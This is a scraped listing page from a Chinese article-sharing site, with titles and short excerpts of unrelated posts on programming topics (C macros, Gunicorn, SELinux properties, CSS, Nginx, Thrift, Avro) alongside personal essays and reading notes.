<div>一、机器学习概述定义机器学习(MachineLearning,ML)是一种通过数据驱动的方法,利用统计学和计算算法来训练模型,使计算机能够从数据中学习并自动进行预测或决策。机器学习通过分析大量数据样本,识别其中的模式和规律,从而对新的数据进行判断。其核心在于通过训练过程,让模型不断优化和提升其预测准确性。主要类型1.监督学习(SupervisedLearning)监督学习是指在训练数据集中包含输入</div> </li> <li><a href="/article/1835513699826233344.htm" title="android系统selinux中添加新属性property" target="_blank">android系统selinux中添加新属性property</a> <span class="text-muted">辉色投像</span> <div>1.定位/android/system/sepolicy/private/property_contexts声明属性开头:persist.charge声明属性类型:u:object_r:system_prop:s0图12.定位到android/system/sepolicy/public/domain.te删除neverallow{domain-init}default_prop:property</div> </li> <li><a href="/article/1835513570171908096.htm" title="底层逆袭到底有多难,不甘平凡的你准备好了吗?让吴起给你说说" target="_blank">底层逆袭到底有多难,不甘平凡的你准备好了吗?让吴起给你说说</a> <span class="text-muted">造命者说</span> <div>底层逆袭到底有多难,不甘平凡的你准备好了吗?让吴起给你说说我叫吴起,生于公元前440年的战国初期,正是群雄并起、天下纷争不断的时候。后人说我是军事家、政治家、改革家,是兵家代表人物。评价我一生历仕鲁、魏、楚三国,通晓兵家、法家、儒家三家思想,在内政军事上都有极高的成就。周安王二十一年(公元前381年),因变法得罪守旧贵族,被人乱箭射死。我出生在卫国一个“家累万金”的富有家庭,从年轻时候起就不甘平凡</div> </li> <li><a href="/article/1835513571501502464.htm" title="2020-01-25" target="_blank">2020-01-25</a> <span class="text-muted">晴岚85</span> <div>郑海燕坚持分享590天2020.1.24在生活中只存在两个问题。一个问题是:你知道想要达成的目标是什么,但却不知道如何才能达成;另一个问题是:你不知道你的目标是什么。前一个是行动的问题,后一个是结果的问题。通过制定具体的下一步行动,可以解决不知道如何开始行动的问题。而通过去想象结果,对结果做预估,可以解决找不着目标的问题。对于所有吸引我们注意力,想要完成的任务,你可以先想象一下,预期的结果究竟是什</div> </li> <li><a href="/article/1835512809883004928.htm" title="10月|愿你的青春不负梦想-读书笔记-01" target="_blank">10月|愿你的青春不负梦想-读书笔记-01</a> <span class="text-muted">Tracy的小书斋</span> <div>本书的作者是俞敏洪,大家都很熟悉他了吧。俞敏洪老师是我行业的领头羊吧,也是我事业上的偶像。本日摘录他书中第一章中的金句:『一个人如果什么目标都没有,就会浑浑噩噩,感觉生命中缺少能量。能给我们能量的,是对未来的期待。第一件事,我始终为了进步而努力。与其追寻全世界的骏马,不如种植丰美的草原,到时骏马自然会来。第二件事,我始终有阶段性的目标。什么东西能给我能量?答案是对未来的期待。』读到这里的时候,我便</div> </li> <li><a href="/article/1835512542735200256.htm" title="C语言宏函数" target="_blank">C语言宏函数</a> <span class="text-muted">南林yan</span> <a class="tag" taget="_blank" href="/search/C%E8%AF%AD%E8%A8%80/1.htm">C语言</a><a class="tag" taget="_blank" href="/search/c%E8%AF%AD%E8%A8%80/1.htm">c语言</a> <div>一、什么是宏函数?通过宏定义的函数是宏函数。如下,编译器在预处理阶段会将Add(x,y)替换为((x)*(y))#defineAdd(x,y)((x)*(y))#defineAdd(x,y)((x)*(y))intmain(){inta=10;intb=20;intd=10;intc=Add(a+d,b)*2;cout<<c<<endl;//800return0;}二、为什么要使用宏函数使用宏函数</div> </li> <li><a href="/article/1835512178023690240.htm" title="谢谢你们,爱你们!" target="_blank">谢谢你们,爱你们!</a> <span class="text-muted">鹿游儿</span> <div>昨天家人去泡温泉,二个孩子也带着去,出发前一晚,匆匆下班,赶回家和孩子一起收拾。饭后,我拿出笔和本子(上次去澳门时做手帐的本子)写下了1\2\3\4\5\6\7\8\9,让后让小壹去思考,带什么出发去旅游呢?她在对应的数字旁边画上了,泳衣、泳圈、肖恩、内衣内裤、tapuy、拖鞋……画完后,就让她自己对着这个本子,将要带的,一一带上,没想到这次带的书还是这本《便便工厂》(晚上姑婆发照片过来,妹妹累得</div> </li> <li><a href="/article/1835511911769272320.htm" title="C语言如何定义宏函数?" target="_blank">C语言如何定义宏函数?</a> <span class="text-muted">小九格物</span> <a class="tag" taget="_blank" href="/search/c%E8%AF%AD%E8%A8%80/1.htm">c语言</a> <div>在C语言中,宏函数是通过预处理器定义的,它在编译之前替换代码中的宏调用。宏函数可以模拟函数的行为,但它们不是真正的函数,因为它们在编译时不会进行类型检查,也不会分配存储空间。宏函数的定义通常使用#define指令,后面跟着宏的名称和参数列表,以及宏展开后的代码。宏函数的定义方式:1.基本宏函数:这是最简单的宏函数形式,它直接定义一个表达式。#defineSQUARE(x)((x)*(x))2.带参</div> </li> <li><a href="/article/1835511912192897024.htm" title="微服务下功能权限与数据权限的设计与实现" target="_blank">微服务下功能权限与数据权限的设计与实现</a> <span class="text-muted">nbsaas-boot</span> <a class="tag" taget="_blank" href="/search/%E5%BE%AE%E6%9C%8D%E5%8A%A1/1.htm">微服务</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84/1.htm">架构</a> <div>在微服务架构下,系统的功能权限和数据权限控制显得尤为重要。随着系统规模的扩大和微服务数量的增加,如何保证不同用户和服务之间的访问权限准确、细粒度地控制,成为设计安全策略的关键。本文将讨论如何在微服务体系中设计和实现功能权限与数据权限控制。1.功能权限与数据权限的定义功能权限:指用户或系统角色对特定功能的访问权限。通常是某个用户角色能否执行某个操作,比如查看订单、创建订单、修改用户资料等。数据权限:</div> </li> <li><a href="/article/1835511912843014144.htm" title="理解Gunicorn:Python WSGI服务器的基石" target="_blank">理解Gunicorn:Python WSGI服务器的基石</a> <span class="text-muted">范范0825</span> <a class="tag" taget="_blank" href="/search/ipython/1.htm">ipython</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a> <div>理解Gunicorn:PythonWSGI服务器的基石介绍Gunicorn,全称GreenUnicorn,是一个为PythonWSGI(WebServerGatewayInterface)应用设计的高效、轻量级HTTP服务器。作为PythonWeb应用部署的常用工具,Gunicorn以其高性能和易用性著称。本文将介绍Gunicorn的基本概念、安装和配置,帮助初学者快速上手。1.什么是Gunico</div> </li> <li><a href="/article/1835511163450912768.htm" title="2021年12月19日,春蕾教育集团团建活动感受——黄晓丹" target="_blank">2021年12月19日,春蕾教育集团团建活动感受——黄晓丹</a> <span class="text-muted">黄错错加油</span> <div>感受:1.从陌生到熟悉的过程。游戏环节让我们在轻松的氛围中得到了锻炼,也增长了不少知识。2.游戏过程中,我们贡献的是个人力量,展现的是团队的力量。它磨合的往往不止是工作的熟悉,更是观念上契合度的贴近。3.这和工作是一样的道理。在各自的岗位上,每个人摆正自己的位置、各司其职充分发挥才能,并团结一致劲往一处使,才能实现最大的成功。新知:1.团队精神需要不断地创新。过去,人们把创新看作是冒风险,现在人们</div> </li> <li><a href="/article/1835511036317364224.htm" title="Cell Insight | 单细胞测序技术又一新发现,可用于HIV-1和Mtb共感染个体诊断" target="_blank">Cell Insight | 单细胞测序技术又一新发现,可用于HIV-1和Mtb共感染个体诊断</a> <span class="text-muted">尐尐呅</span> <div>结核病是艾滋病合并其他疾病中导致患者死亡的主要原因。其中结核病由结核分枝杆菌(Mycobacteriumtuberculosis,Mtb)感染引起,获得性免疫缺陷综合症(艾滋病)由人免疫缺陷病毒(Humanimmunodeficiencyvirustype1,HIV-1)感染引起。国家感染性疾病临床医学研究中心/深圳市第三人民医院张国良团队携手深圳华大生命科学研究院吴靓团队,共同研究得出单细胞测序</div> </li> <li><a href="/article/1835511030260789248.htm" title="c++ 的iostream 和 c++的stdio的区别和联系" target="_blank">c++ 的iostream 和 c++的stdio的区别和联系</a> <span class="text-muted">黄卷青灯77</span> <a class="tag" taget="_blank" href="/search/c%2B%2B/1.htm">c++</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/iostream/1.htm">iostream</a><a class="tag" taget="_blank" href="/search/stdio/1.htm">stdio</a> <div>在C++中,iostream和C语言的stdio.h都是用于处理输入输出的库,但它们在设计、用法和功能上有许多不同。以下是两者的区别和联系:区别1.编程风格iostream(C++风格):C++标准库中的输入输出流类库,支持面向对象的输入输出操作。典型用法是cin(输入)和cout(输出),使用>操作符来处理数据。更加类型安全,支持用户自定义类型的输入输出。#includeintmain(){in</div> </li> <li><a href="/article/1835510025561403392.htm" title="《投行人生》读书笔记" target="_blank">《投行人生》读书笔记</a> <span class="text-muted">小蘑菇的树洞</span> <div>《投行人生》----作者詹姆斯-A-朗德摩根斯坦利副主席40年的职业洞见-很短小精悍的篇幅,比较适合初入职场的新人。第一部分成功的职业生涯需要规划1.情商归为适应能力分享与协作同理心适应能力,更多的是自我意识,你有能力识别自己的情并分辨这些情绪如何影响你的思想和行为。2.对于初入职场的人的建议,细节,截止日期和数据很重要截止日期,一种有效的方法是请老板为你所有的任务进行优先级排序。和老板喝咖啡的好</div> </li> <li><a href="/article/1835509898507546624.htm" title="《策划经理回忆录之二》" target="_blank">《策划经理回忆录之二》</a> <span class="text-muted">路基雅虎</span> <div>话说三年变六年,飘了,飘了……眨眼,2013年5月,老吴回到了他的家乡——油城从新开启他的工作幻想症生涯。很庆幸,这是一家很有追求,同时敢于尝试的,且实力不容低调的新星房企——金源置业(前身泰源置业)更值得庆幸的是第一个盘就是油城十路的标杆之一:金源盛世。2013年5月,到2015年11月,两年的陪伴,迎来了一场大爆发。2000个筹,5万/筹,直接回笼1个亿!!!这……让我开始认真审视这座看似五线</div> </li> <li><a href="/article/1835509897106649088.htm" title="Long类型前后端数据不一致" target="_blank">Long类型前后端数据不一致</a> <span class="text-muted">igotyback</span> <a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a> <div>响应给前端的数据浏览器控制台中response中看到的Long类型的数据是正常的到前端数据不一致前后端数据类型不匹配是一个常见问题,尤其是当后端使用Java的Long类型(64位)与前端JavaScript的Number类型(最大安全整数为2^53-1,即16位)进行数据交互时,很容易出现精度丢失的问题。这是因为JavaScript中的Number类型无法安全地表示超过16位的整数。为了解决这个问</div> </li> <li><a href="/article/1835509390879322112.htm" title="扫地机类清洁产品之直流无刷电机控制" target="_blank">扫地机类清洁产品之直流无刷电机控制</a> <span class="text-muted">悟空胆好小</span> <a class="tag" taget="_blank" href="/search/%E6%B8%85%E6%B4%81%E6%9C%8D%E5%8A%A1%E6%9C%BA%E5%99%A8%E4%BA%BA/1.htm">清洁服务机器人</a><a class="tag" taget="_blank" href="/search/%E5%8D%95%E7%89%87%E6%9C%BA/1.htm">单片机</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a> <div>扫地机类清洁产品之直流无刷电机控制1.1前言扫地机产品有很多的电机控制,滚刷电机1个,边刷电机1-2个,清水泵电机,风机一个,部分中高端产品支持抹布功能,也就是存在抹布盘电机,还有追觅科沃斯石头等边刷抬升电机,滚刷抬升电机等的,这些电机有直流有刷电机,直接无刷电机,步进电机,电磁阀,挪动泵等不同类型。电机的原理,驱动控制方式也不行。接下来一段时间的几个文章会作个专题分析分享。直流有刷电机会自动持续</div> </li> <li><a href="/article/1835509391361667072.htm" title="Linux下QT开发的动态库界面弹出操作(SDL2)" target="_blank">Linux下QT开发的动态库界面弹出操作(SDL2)</a> <span class="text-muted">13jjyao</span> <a class="tag" taget="_blank" href="/search/QT%E7%B1%BB/1.htm">QT类</a><a class="tag" taget="_blank" href="/search/qt/1.htm">qt</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/sdl2/1.htm">sdl2</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a> <div>需求:操作系统为linux,开发框架为qt,做成需带界面的qt动态库,调用方为java等非qt程序难点:调用方为java等非qt程序,也就是说调用方肯定不带QApplication::exec(),缺少了这个,QTimer等事件和QT创建的窗口将不能弹出(包括opencv也是不能弹出);这与qt调用本身qt库是有本质的区别的思路:1.调用方缺QApplication::exec(),那么我们在接口</div> </li> <li><a href="/article/1835509266627260416.htm" title="绘本讲师训练营【24期】8/21阅读原创《独生小孩》" target="_blank">绘本讲师训练营【24期】8/21阅读原创《独生小孩》</a> <span class="text-muted">1784e22615e0</span> <div>24016-孟娟《独生小孩》图片发自App今天我想分享一个蛮特别的绘本,讲的是一个特殊的群体,我也是属于这个群体,80后的独生小孩。这是一本中国绘本,作者郭婧,也是一个80厚。全书一百多页,均为铅笔绘制,虽然为黑白色调,但并不显得沉闷。全书没有文字,犹如“默片”,但并不影响读者对该作品的理解,反而显得神秘,梦幻,給读者留下想象的空间。作者在前蝴蝶页这样写到:“我更希望父母和孩子一起分享这本书,使他</div> </li> <li><a href="/article/1835508761310097408.htm" title="店群合一模式下的社区团购新发展——结合链动 2+1 模式、AI 智能名片与 S2B2C 商城小程序源码" target="_blank">店群合一模式下的社区团购新发展——结合链动 2+1 模式、AI 智能名片与 S2B2C 商城小程序源码</a> <span class="text-muted">说私域</span> <a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/%E5%B0%8F%E7%A8%8B%E5%BA%8F/1.htm">小程序</a> <div>摘要:本文探讨了店群合一的社区团购平台在当今商业环境中的重要性和优势。通过分析店群合一模式如何将互联网社群与线下终端紧密结合,阐述了链动2+1模式、AI智能名片和S2B2C商城小程序源码在这一模式中的应用价值。这些创新元素的结合为社区团购带来了新的机遇,提升了用户信任感、拓展了营销渠道,并实现了线上线下的完美融合。一、引言随着互联网技术的不断发展,社区团购作为一种新兴的商业模式,在满足消费者日常需</div> </li> <li><a href="/article/1835508758042734592.htm" title="我校举行新老教师师徒结对仪式暨名师专业工作室工作交流活动" target="_blank">我校举行新老教师师徒结对仪式暨名师专业工作室工作交流活动</a> <span class="text-muted">李蕾1229</span> <div>为促进我校教师专业发展,发挥骨干教师的引领带头作用,11月6日下午,我校举行新老教师师徒结对仪式暨名师专业工作室工作交流活动。图片发自App会议由教师发展处李蕾主任主持,首先,由范校长宣读新老教师结对名单及双方承担职责。随后,两位新调入教师陈玉萍、莫正杰分别和他们的师傅鲍元美、刘召彬老师签订了师徒结对协议书。图片发自App图片发自App师徒拥抱、握手。有了师傅就有了目标有了方向,相信两位新教师在师</div> </li> <li><a href="/article/1835508630959517696.htm" title="向内而求" target="_blank">向内而求</a> <span class="text-muted">陈陈_19b4</span> <div>10月27日,阴。阅读书目:《次第花开》。作者:希阿荣博堪布,是当今藏传佛家宁玛派最伟大的上师法王,如意宝晋美彭措仁波切颇具影响力的弟子之一。多年以来,赴海内外各地弘扬佛法,以正式授课、现场开示、发表文章等多种方法指导佛学弟子修行佛法。代表作《寂静之道》、《生命这出戏》、《透过佛法看世界》自出版以来一直是佛教类书籍中的畅销书。图片发自App金句:1.佛陀说,一切痛苦的根源在于我们长期以来对自身及外</div> </li> <li><a href="/article/1835508376604340224.htm" title="2021-08-26" target="_blank">2021-08-26</a> <span class="text-muted">影幽</span> <div>在生活中,女人与男人的感悟往往有所不同。人生最大的舞台就是生活,大幕随时都可能拉开,关键是你愿不愿意表演都无法躲避。在生活中,遇事不要急躁,不要急于下结论,尤其生气时不要做决断,要学会换位思考,大事化小小事化了,把复杂的事情尽量简单处理,千万不要把简单的事情复杂化。永远不要扭曲,别人善意,无药可救。昨天是张过期的支票,明天是张信用卡,只有今天才是现金,要善加利用!执着的攀登者不必去与别人比较自己的</div> </li> <li><a href="/article/1835508131032035328.htm" title="ArcGIS栅格计算器常见公式(赋值、0和空值的转换、补充栅格空值)" target="_blank">ArcGIS栅格计算器常见公式(赋值、0和空值的转换、补充栅格空值)</a> <span class="text-muted">研学随笔</span> <a class="tag" taget="_blank" href="/search/arcgis/1.htm">arcgis</a><a class="tag" taget="_blank" href="/search/%E7%BB%8F%E9%AA%8C%E5%88%86%E4%BA%AB/1.htm">经验分享</a> <div>我们在使用ArcGIS时通常经常用到栅格计算器,今天主要给大家介绍我日常中经常用到的几个公式,供大家参考学习。将特定值(-9999)赋值为0,例如-9999.Con("raster"==-9999,0,"raster")2.给空值赋予特定的值(如0)Con(IsNull("raster"),0,"raster")3.将特定的栅格值(如1)赋值为空值,其他保留原值SetNull("raster"==</div> </li> <li><a href="/article/1835508131489214464.htm" title="高级编程--XML+socket练习题" target="_blank">高级编程--XML+socket练习题</a> <span class="text-muted">masa010</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>1.北京华北2114.8万人上海华东2,500万人广州华南1292.68万人成都华西1417万人(1)使用dom4j将信息存入xml中(2)读取信息,并打印控制台(3)添加一个city节点与子节点(4)使用socketTCP协议编写服务端与客户端,客户端输入城市ID,服务器响应相应城市信息(5)使用socketTCP协议编写服务端与客户端,客户端要求用户输入city对象,服务端接收并使用dom4j</div> </li> <li><a href="/article/1835508122383380480.htm" title="抖音乐买买怎么加入赚钱?赚钱方法是什么" target="_blank">抖音乐买买怎么加入赚钱?赚钱方法是什么</a> <span class="text-muted">测评君高省</span> <div>你会在抖音买东西吗?如果会,那么一定要免费注册一个乐买买,抖音直播间,橱窗,小视频里的小黄车买东西都可以返佣金!省下来都是自己的,分享还可以赚钱乐买买是好省旗下的抖音返佣平台,乐买买分析社交电商的价值,乐买买属于今年难得的副业项目风口机会,2019年错过做好省的搞钱的黄金时期,那么2022年千万别再错过乐买买至于我为何转到高省呢?当然是高省APP佣金更高,模式更好,终端用户不流失。【高省】是一个自</div> </li> <li><a href="/article/1835507866878963712.htm" title="开心" target="_blank">开心</a> <span class="text-muted">蒋泳频</span> <div>从无比抗拒来上课到接受,感动,收获~看着波哥成长,晶晶幸福笑容满面。感觉自己做的事情很有意义,很开心!还有3个感召目标就是还有三个有缘人,哈哈。明天感召去明日计划:8:30-11:00小公益11:00-21点上班,感召图片发自App图片发自App图片发自App</div> </li> <li><a href="/article/1835507739820912640.htm" title="2018-07-23-催眠日作业-#不一样的31天#-66小鹿" target="_blank">2018-07-23-催眠日作业-#不一样的31天#-66小鹿</a> <span class="text-muted">小鹿_33</span> <div>预言日:人总是在逃避命运的路上,与之不期而遇。心理学上有个著名的名词,叫做自证预言;经济学上也有一个很著名的定律叫做,墨菲定律;在灵修派上,还有一个很著名的法则,叫做吸引力法则。这3个领域的词,虽然看起来不太一样,但是他们都在告诉人们一个现象:你越担心什么,就越有可能会发生什么。同样的道理,你越想得到什么,就应该要积极地去创造什么。无论是自证预言,墨菲定律还是吸引力法则,对人都有正反2个维度的影响</div> </li> <li><a href="/article/1835507626276909056.htm" title="水平垂直居中的几种方法(总结)" target="_blank">水平垂直居中的几种方法(总结)</a> <span class="text-muted">LJ小番茄</span> <a class="tag" taget="_blank" href="/search/CSS_%E7%8E%84%E5%AD%A6%E8%AF%AD%E8%A8%80/1.htm">CSS_玄学语言</a><a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a><a class="tag" taget="_blank" href="/search/css3/1.htm">css3</a> <div>1.使用flexbox的justify-content和align-items.parent{display:flex;justify-content:center;/*水平居中*/align-items:center;/*垂直居中*/height:100vh;/*需要指定高度*/}2.使用grid的place-items:center.parent{display:grid;place-item</div> </li> <li><a href="/article/48.htm" title="开发者关心的那些事" target="_blank">开发者关心的那些事</a> <span class="text-muted">圣子足道</span> <a class="tag" taget="_blank" href="/search/ios/1.htm">ios</a><a class="tag" taget="_blank" href="/search/%E6%B8%B8%E6%88%8F/1.htm">游戏</a><a class="tag" taget="_blank" href="/search/%E7%BC%96%E7%A8%8B/1.htm">编程</a><a class="tag" taget="_blank" href="/search/apple/1.htm">apple</a><a class="tag" taget="_blank" href="/search/%E6%94%AF%E4%BB%98/1.htm">支付</a> <div>我要在app里添加IAP,必须要注册自己的产品标识符(product identifiers)。产品标识符是什么? 产品标识符(Product Identifiers)是一串字符串,它用来识别你在应用内贩卖的每件商品。App Store用产品标识符来检索产品信息,标识符只能包含大小写字母(A-Z)、数字(0-9)、下划线(-)、以及圆点(.)。你可以任意排列这些元素,但我们建议你创建标识符时使用</div> </li> <li><a href="/article/175.htm" title="负载均衡器技术Nginx和F5的优缺点对比" target="_blank">负载均衡器技术Nginx和F5的优缺点对比</a> <span class="text-muted">bijian1013</span> <a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a><a class="tag" taget="_blank" href="/search/F5/1.htm">F5</a> <div>        对于数据流量过大的网络中,往往单一设备无法承担,需要多台设备进行数据分流,而负载均衡器就是用来将数据分流到多台设备的一个转发器。         目前有许多不同的负载均衡技术用以满足不同的应用需求,如软/硬件负载均衡、本地/全局负载均衡、更高</div> </li> <li><a href="/article/302.htm" title="LeetCode[Math] - #9 Palindrome Number" target="_blank">LeetCode[Math] - #9 Palindrome Number</a> <span class="text-muted">Cwind</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/Algorithm/1.htm">Algorithm</a><a class="tag" taget="_blank" href="/search/%E9%A2%98%E8%A7%A3/1.htm">题解</a><a class="tag" taget="_blank" href="/search/LeetCode/1.htm">LeetCode</a><a class="tag" taget="_blank" href="/search/Math/1.htm">Math</a> <div>原题链接:#9 Palindrome Number   要求: 判断一个整数是否是回文数,不要使用额外的存储空间   难度:简单   分析: 题目限制不允许使用额外的存储空间应指不允许使用O(n)的内存空间,O(1)的内存用于存储中间结果是可以接受的。于是考虑将该整型数反转,然后与原数字进行比较。 注:没有看到有关负数是否可以是回文数的明确结论,例如</div> </li> <li><a href="/article/429.htm" title="画图板的基本实现" target="_blank">画图板的基本实现</a> <span class="text-muted">15700786134</span> <a class="tag" taget="_blank" href="/search/%E7%94%BB%E5%9B%BE%E6%9D%BF/1.htm">画图板</a> <div> 要实现画图板的基本功能,除了在qq登陆界面中用到的组件和方法外,还需要添加鼠标监听器,和接口实现。 首先,需要显示一个JFrame界面: public class DrameFrame extends JFrame {              //显示</div> </li> <li><a href="/article/556.htm" title="linux的ps命令" target="_blank">linux的ps命令</a> <span class="text-muted">被触发</span> <a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a> <div>Linux中的ps命令是Process Status的缩写。ps命令用来列出系统中当前运行的那些进程。ps命令列出的是当前那些进程的快照,就是执行ps命令的那个时刻的那些进程,如果想要动态的显示进程信息,就可以使用top命令。 要对进程进行监测和控制,首先必须要了解当前进程的情况,也就是需要查看当前进程,而 ps 命令就是最基本同时也是非常强大的进程查看命令。使用该命令可以确定有哪些进程正在运行</div> </li> <li><a href="/article/683.htm" title="Android 音乐播放器 下一曲 连续跳几首歌" target="_blank">Android 音乐播放器 下一曲 连续跳几首歌</a> <span class="text-muted">肆无忌惮_</span> <a class="tag" taget="_blank" href="/search/android/1.htm">android</a> <div>最近在写安卓音乐播放器的时候遇到个问题。在MediaPlayer播放结束时会回调 player.setOnCompletionListener(new OnCompletionListener() { @Override public void onCompletion(MediaPlayer mp) { mp.reset(); Log.i("H</div> </li> <li><a href="/article/810.htm" title="java导出txt文件的例子" target="_blank">java导出txt文件的例子</a> <span class="text-muted">知了ing</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/servlet/1.htm">servlet</a> <div>代码很简单就一个servlet,如下: package com.eastcom.servlet; import java.io.BufferedOutputStream; import java.io.IOException; import java.net.URLEncoder; import java.sql.Connection; import java.sql.Resu</div> </li> <li><a href="/article/937.htm" title="Scala stack试玩, 提高第三方依赖下载速度" target="_blank">Scala stack试玩, 提高第三方依赖下载速度</a> <span class="text-muted">矮蛋蛋</span> <a class="tag" taget="_blank" href="/search/scala/1.htm">scala</a><a class="tag" taget="_blank" href="/search/sbt/1.htm">sbt</a> <div>原文地址: http://segmentfault.com/a/1190000002894524 sbt下载速度实在是惨不忍睹, 需要做些配置优化 下载typesafe离线包, 保存为ivy本地库 wget http://downloads.typesafe.com/typesafe-activator/1.3.4/typesafe-activator-1.3.4.zip 解压r</div> </li> <li><a href="/article/1064.htm" title="phantomjs安装(linux,附带环境变量设置) ,以及casperjs安装。" target="_blank">phantomjs安装(linux,附带环境变量设置) ,以及casperjs安装。</a> <span class="text-muted">alleni123</span> <a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/spider/1.htm">spider</a> <div>1. 首先从官网 http://phantomjs.org/下载phantomjs压缩包,解压缩到/root/phantomjs文件夹。 2. 安装依赖 sudo yum install fontconfig freetype libfreetype.so.6 libfontconfig.so.1 libstdc++.so.6 3. 配置环境变量 vi /etc/profil</div> </li> <li><a href="/article/1191.htm" title="JAVA IO FileInputStream和FileOutputStream,字节流的打包输出" target="_blank">JAVA IO FileInputStream和FileOutputStream,字节流的打包输出</a> <span class="text-muted">百合不是茶</span> <a class="tag" taget="_blank" href="/search/java%E6%A0%B8%E5%BF%83%E6%80%9D%E6%83%B3/1.htm">java核心思想</a><a class="tag" taget="_blank" href="/search/JAVA+IO%E6%93%8D%E4%BD%9C/1.htm">JAVA IO操作</a><a class="tag" taget="_blank" href="/search/%E5%AD%97%E8%8A%82%E6%B5%81/1.htm">字节流</a> <div>在程序设计语言中,数据的保存是基本,如果某程序语言不能保存数据那么该语言是不可能存在的,JAVA是当今最流行的面向对象设计语言之一,在保存数据中也有自己独特的一面,字节流和字符流 1,字节流是由字节构成的,字符流是由字符构成的 字节流和字符流都是继承的InputStream和OutPutStream ,java中两种最基本的就是字节流和字符流   类 FileInputStream</div> </li> <li><a href="/article/1318.htm" title="Spring基础实例(依赖注入和控制反转)" target="_blank">Spring基础实例(依赖注入和控制反转)</a> <span class="text-muted">bijian1013</span> <a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a> <div>前提条件:在http://www.springsource.org/download网站上下载Spring框架,并将spring.jar、log4j-1.2.15.jar、commons-logging.jar加载至工程1.武器接口 package com.bijian.spring.base3; public interface Weapon { void kil</div> </li> <li><a href="/article/1445.htm" title="HR看重的十大技能" target="_blank">HR看重的十大技能</a> <span class="text-muted">bijian1013</span> <a class="tag" taget="_blank" href="/search/%E6%8F%90%E5%8D%87/1.htm">提升</a><a class="tag" taget="_blank" href="/search/%E8%83%BD%E5%8A%9B/1.htm">能力</a><a class="tag" taget="_blank" href="/search/HR/1.htm">HR</a><a class="tag" taget="_blank" href="/search/%E6%88%90%E9%95%BF/1.htm">成长</a> <div>    一个人掌握何种技能取决于他的兴趣、能力和聪明程度,也取决于他所能支配的资源以及制定的事业目标,拥有过硬技能的人有更多的工作机会。但是,由于经济发展前景不确定,掌握对你的事业有所帮助的技能显得尤为重要。以下是最受雇主欢迎的十种技能。   一、解决问题的能力   每天,我们都要在生活和工作中解决一些综合性的问题。那些能够发现问题、解决问题并迅速作出有效决</div> </li> <li><a href="/article/1572.htm" title="【Thrift一】Thrift编译安装" target="_blank">【Thrift一】Thrift编译安装</a> <span class="text-muted">bit1129</span> <a class="tag" taget="_blank" href="/search/thrift/1.htm">thrift</a> <div>什么是Thrift The Apache Thrift software framework, for scalable cross-language services development, combines a software stack with a code generation engine to build services that work efficiently and s</div> </li> <li><a href="/article/1699.htm" title="【Avro三】Hadoop MapReduce读写Avro文件" target="_blank">【Avro三】Hadoop MapReduce读写Avro文件</a> <span class="text-muted">bit1129</span> <a class="tag" taget="_blank" href="/search/mapreduce/1.htm">mapreduce</a> <div>Avro是Doug Cutting(此人绝对是神一般的存在)牵头开发的。 开发之初就是围绕着完善Hadoop生态系统的数据处理而开展的(使用Avro作为Hadoop MapReduce需要处理数据序列化和反序列化的场景),因此Hadoop MapReduce集成Avro也就是自然而然的事情。 这个例子是一个简单的Hadoop MapReduce读取Avro格式的源文件进行计数统计,然后将计算结果</div> </li> <li><a href="/article/1826.htm" title="nginx定制500,502,503,504页面" target="_blank">nginx定制500,502,503,504页面</a> <span class="text-muted">ronin47</span> <a class="tag" taget="_blank" href="/search/nginx%E3%80%80%E9%94%99%E8%AF%AF%E6%98%BE%E7%A4%BA/1.htm">nginx 错误显示</a> <div>server { listen 80; error_page 500/500.html; error_page 502/502.html; error_page 503/503.html; error_page 504/504.html; location /test {return502;}} 配置很简单,和配</div> </li> <li><a href="/article/1953.htm" title="java-1.二叉查找树转为双向链表" target="_blank">java-1.二叉查找树转为双向链表</a> <span class="text-muted">bylijinnan</span> <a class="tag" taget="_blank" href="/search/%E4%BA%8C%E5%8F%89%E6%9F%A5%E6%89%BE%E6%A0%91/1.htm">二叉查找树</a> <div> import java.util.ArrayList; import java.util.List; public class BSTreeToLinkedList { /* 把二元查找树转变成排序的双向链表 题目: 输入一棵二元查找树,将该二元查找树转换成一个排序的双向链表。 要求不能创建任何新的结点,只调整指针的指向。 10 / \ 6 14 / \ </div> </li> <li><a href="/article/2080.htm" title="Netty源码学习-HTTP-tunnel" target="_blank">Netty源码学习-HTTP-tunnel</a> <span class="text-muted">bylijinnan</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/netty/1.htm">netty</a> <div>Netty关于HTTP tunnel的说明: http://docs.jboss.org/netty/3.2/api/org/jboss/netty/channel/socket/http/package-summary.html#package_description 这个说明有点太简略了 一个完整的例子在这里: https://github.com/bylijinnan</div> </li> <li><a href="/article/2207.htm" 